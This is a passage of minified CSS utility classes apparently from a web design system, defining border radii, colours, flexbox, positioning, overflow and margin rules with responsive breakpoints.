!important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mb-4{margin-bottom:24px !important}.mr-4{margin-right:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mb-n4{margin-bottom:-24px !important}.mr-n4{margin-right:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mb-5{margin-bottom:32px !important}.mr-5{margin-right:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mb-n5{margin-bottom:-32px !important}.mr-n5{margin-right:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mb-6{margin-bottom:40px !important}.mr-6{margin-right:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mb-n6{margin-bottom:-40px !important}.mr-n6{margin-right:-40px !important}.ml-n6{margin-left:-40px !important}.mx-6{margin-right:40px !important;margin-left:40px !important}.my-6{margin-top:40px !important;margin-bottom:40px !important}.mt-7{margin-top:48px !important}.mb-7{margin-bottom:48px !important}.mt-n7{margin-top:-48px !important}.mb-n7{margin-bottom:-48px !important}.my-7{margin-top:48px !important;margin-bottom:48px !important}.mt-8{margin-top:64px !important}.mb-8{margin-bottom:64px !important}.mt-n8{margin-top:-64px !important}.mb-n8{margin-bottom:-64px !important}.my-8{margin-top:64px !important;margin-bottom:64px !important}.mt-9{margin-top:80px !important}.mb-9{margin-bottom:80px !important}.mt-n9{margin-top:-80px !important}.mb-n9{margin-bottom:-80px !important}.my-9{margin-top:80px !important;margin-bottom:80px !important}.mt-10{margin-top:96px !important}.mb-10{margin-bottom:96px !important}.mt-n10{margin-top:-96px !important}.mb-n10{margin-bottom:-96px !important}.my-10{margin-top:96px !important;margin-bottom:96px !important}.mt-11{margin-top:112px !important}.mb-11{margin-bottom:112px !important}.mt-n11{margin-top:-112px !important}.mb-n11{margin-bottom:-112px !important}.my-11{margin-top:112px !important;margin-bottom:112px !important}.mt-12{margin-top:128px !important}.mb-12{margin-bottom:128px !important}.mt-n12{margin-top:-128px !important}.mb-n12{margin-bottom:-128px !important}.my-12{margin-top:128px !important;margin-bottom:128px !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}@media(min-width: 544px){.m-sm-0{margin:0 !important}.mt-sm-0{margin-top:0 !important}.mb-sm-0{margin-bottom:0 !important}.mr-sm-0{margin-right:0 !important}.ml-sm-0{margin-left:0 !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.m-sm-1{margin:4px !important}.mt-sm-1{margin-top:4px !important}.mb-sm-1{margin-bottom:4px !important}.mr-sm-1{margin-right:4px !important}.ml-sm-1{margin-left:4px !important}.mt-sm-n1{margin-top:-4px !important}.mb-sm-n1{margin-bottom:-4px !important}.mr-sm-n1{margin-right:-4px !important}.ml-sm-n1{margin-left:-4px !important}.mx-sm-1{margin-right:4px !important;margin-left:4px !important}.my-sm-1{margin-top:4px !important;margin-bottom:4px !important}.m-sm-2{margin:8px !important}.mt-sm-2{margin-top:8px !important}.mb-sm-2{margin-bottom:8px !important}.mr-sm-2{margin-right:8px !important}.ml-sm-2{margin-left:8px !important}.mt-sm-n2{margin-top:-8px !important}.mb-sm-n2{margin-bottom:-8px !important}.mr-sm-n2{margin-right:-8px !important}.ml-sm-n2{margin-left:-8px !important}.mx-sm-2{margin-right:8px !important;margin-left:8px !important}.my-sm-2{margin-top:8px !important;margin-bottom:8px !important}.m-sm-3{margin:16px !important}.mt-sm-3{margin-top:16px !important}.mb-sm-3{margin-bottom:16px !important}.mr-sm-3{margin-right:16px !important}.ml-sm-3{margin-left:16px !important}.mt-sm-n3{margin-top:-16px !important}.mb-sm-n3{margin-bottom:-16px !important}.mr-sm-n3{margin-right:-16px !important}.ml-sm-n3{margin-left:-16px !important}.mx-sm-3{margin-right:16px !important;margin-left:16px !important}.my-sm-3{margin-top:16px !important;margin-bottom:16px !important}.m-sm-4{margin:24px !important}.mt-sm-4{margin-top:24px !important}.mb-sm-4{margin-bottom:24px !important}.mr-sm-4{margin-right:24px !important}.ml-sm-4{margin-left:24px !important}.mt-sm-n4{margin-top:-24px !important}.mb-sm-n4{margin-bottom:-24px !important}.mr-sm-n4{margin-right:-24px !important}.ml-sm-n4{margin-left:-24px !important}.mx-sm-4{margin-right:24px !important;margin-left:24px !important}.my-sm-4{margin-top:24px !important;margin-bottom:24px !important}.m-sm-5{margin:32px !important}.mt-sm-5{margin-top:32px !important}.mb-sm-5{margin-bottom:32px !important}.mr-sm-5{margin-right:32px 